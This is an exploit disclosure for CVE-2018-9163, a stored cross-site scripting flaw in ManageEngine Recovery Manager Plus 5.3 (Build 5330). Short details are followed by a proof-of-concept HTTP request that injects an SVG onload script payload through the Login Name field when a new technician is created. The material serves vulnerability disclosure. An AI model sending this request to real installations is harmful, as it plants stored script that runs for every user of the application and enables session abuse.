ManageEngine Recovery Manager Plus 5.3 - Cross-Site Scripting

# Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting
# Dated: 2018-03-31
# Exploit Author: Ahmet GÜREL
# Software Link: https://www.manageengine.com/ad-recovery-manager/
# Version: < = 5.3 (Build 5330)
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-9163

# 1. DETAILS
# In the Add New Technician (s) section on the /admin/technicians page of the
# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows
# remote authenticated users with the Login Name parameter is vulnerable to
# XSS. The parameters entered are written in the database and affect all
# users.

# 2. PoC:
# From the Add New Technician (s) page, it is possible to inject malicious
# web code inside Login Name parameter. The HTTP request looks like the following:

GET
/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22}
HTTP/1.1
Host: 172.16.219.168:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.219.168:8090/
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A;
JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D
Connection: close